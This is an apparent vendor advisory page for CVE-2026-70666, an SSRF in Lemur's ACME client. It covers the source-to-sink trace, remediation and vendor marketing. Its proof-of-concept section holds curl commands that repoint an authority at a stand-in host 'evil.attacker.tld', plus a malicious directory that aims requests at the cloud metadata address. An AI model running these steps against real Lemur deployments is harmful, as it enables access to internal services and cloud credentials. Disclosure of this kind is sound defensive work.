CVE-2026-70666

CVE-2026-70666 is a high-severity server-side request forgery (SSRF) vulnerability in lemur (pip), affecting versions <= 1.9.2. It is fixed in 1.9.3.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs

The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

Detail

Defect A - allowlist only at creation.
_validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:

# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # <- acme_url lives here, NO re-validation
)

AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."

Defect B - ACME client follows server-supplied URLs.
setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:

  1. get_directory(acme_url) -> server returns newNonce, newOrder, revokeCert, keyChange URLs.
  2. new_order() -> server returns finalize and authorizations URLs.
  3. poll(), finalize_order(), cert download -> all hit server-chosen URLs.

A malicious ACME server can return internal URLs for all of these.

Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.

Source-to-sink trace:

PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
  -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  <- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
    -> Lemur POSTs JWS-signed request to internal URL

Steps to Reproduce (POC)

Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:

# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # <- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}

Step 2 - Attacker (authority-role member) repoints an existing ACME authority:

curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"[email protected]",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'

Step 3 - Issue a certificate against the repointed authority (via UI/API):

curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"[email protected]",
       "authority":{"name":"letsencrypt"},"validityYears":1}'

The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

Impact

  • JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
  • Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
  • The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
  • Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-70666 has a CVSS score of 7.4 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.3); upgrading removes the vulnerable code path.

Affected versions

lemur (<= 1.9.2)

Security releases

lemur → 1.9.3 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

  1. Re-run _validate_acme_url inside authorities/service.update / update_options, or make acme_url immutable after authority creation.
  2. In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured acme_url hostname.

Frequently Asked Questions

  1. What is CVE-2026-70666? CVE-2026-70666 is a high-severity server-side request forgery (SSRF) vulnerability in lemur (pip), affecting versions <= 1.9.2. It is fixed in 1.9.3. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is CVE-2026-70666? CVE-2026-70666 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of lemur are affected by CVE-2026-70666? lemur (pip) versions <= 1.9.2 is affected.
  4. Is there a fix for CVE-2026-70666? Yes. CVE-2026-70666 is fixed in 1.9.3. Upgrade to this version or later.
  5. Is CVE-2026-70666 exploitable, and should I be worried? Whether CVE-2026-70666 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-70666 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-70666? Upgrade lemur to 1.9.3 or later.

Other vulnerabilities in lemur

Stop the waste.
Protect your environment with Kodem.